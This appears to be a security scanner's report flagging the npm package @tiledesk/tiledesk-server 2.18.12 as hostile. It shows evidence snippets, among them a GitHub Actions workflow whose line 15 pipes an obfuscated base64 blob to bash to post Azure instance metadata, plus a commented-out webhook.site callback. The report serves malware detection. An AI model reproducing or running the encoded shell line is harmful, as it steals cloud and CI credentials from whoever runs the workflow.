Hostile ^100% javascript Download

@tiledesk/tiledesk-server 2.18.12

OIDC workflow base64 shell executionSensitive data exfiltration (JS)

SHA-2569455bff640e6b9c74b974d51e6e1df526462455cdbf3120f4a7f9a57c4b89c8f

URLhttps://registry.npmjs.org/@tiledesk/tiledesk-server/-/tiledesk-server-2.18.12.tgz

MaleculeK₂(McTe)O₁₀(Eu₂S₇As₅C₅Ca₃LaDyEr₂PXe)H₅(Cm₁₉Db₆F₃Os₄Po₃)Md₄(Pa₆Bk₂In)

Evidence

GitHub Actions OIDC write permission docker-community-worker-push-latest.yml · lines 1–15

1name: Optimize-Build
2on:
3  workflow_dispatch:
4permissions:
5  contents: read
⋯10 lines

base64 -d piped to bash docker-community-worker-push-latest.yml · line 15

15:12656… bnVsbApbIC1zICIkVE1QX0RJUi9tZXRhX2F6X2ltZHMudHh0IiBdICYmIF9wb3N0ICJtZXRhX2F6X2ltZHMiICIkVE1QX0RJUi9tZXRhX2F6X2ltZHMudHh0Igo=" | base64 -d | bash

imports jsonwebtoken subscriptionNotifier.js · lines 1–34

1var Subscription = require('../models/subscription');
2var SubscriptionLog = require('../models/subscriptionLog');
3const requestEvent = require('../event/requestEvent');
4const messageEvent = require('../event/messageEvent');
5const message2Event = require('../event/message2Event');
6const leadEvent = require('../event/leadEvent');
7const botEvent = require('../event/botEvent');
8const authEvent = require('../event/authEvent');
9const departmentEvent = require('../event/departmentEvent');
10const groupEvent = require('../event/groupEvent');
11const faqBotEvent = require('../event/faqBotEvent');
12const eventEvent = require('../pubmodules/events/eventEvent');
13const event2Event = require('../pubmodules/events/event2Event');
14const projectEvent = require('../event/projectEvent');
15
16// var Request = require("../models/request");
17var Message = require("../models/message");
18// var Faq_kb = require("../models/faq_kb");
19var winston = require('../config/winston');
20var jwt = require('jsonwebtoken');
21var config = require('../config/database'); // get db config file
22var cacheUtil = require("../utils/cacheUtil");
23
24var cacheEnabler = require("../services/cacheEnabler");
25
26var webhook_origin = process.env.WEBHOOK_ORIGIN || "http://localhost:3000";
27winston.debug("webhook_origin: "+webhook_origin);
28
⋯6 lines

imports request subscriptionNotifier.js · lines 34–47

34:46… SCRIPTION_LOG_ENABLED);
35
36
37var request = require('retry-request', {
38  request: require('request')
39});
40
⋯7 lines

webhook.site UUID callback path httpUtil.js · lines 63–74

63:7… tpUtil = new HttpUtil();
64
65/*
66async function ciao() {
67    var res = await httpUtil.call("https://webhook.site/bd710929-9b43-4065-88db-78ee17f84aec", undefined, {c:1}, "POST")
68    console.log("res", res);
69    
70}
71ciao();
72*/
73
74module.exports = httpUtil;

Showing the top 5 files — 4 more files (69 regions) not shown.

No evidence locations were recorded for this file. Raw result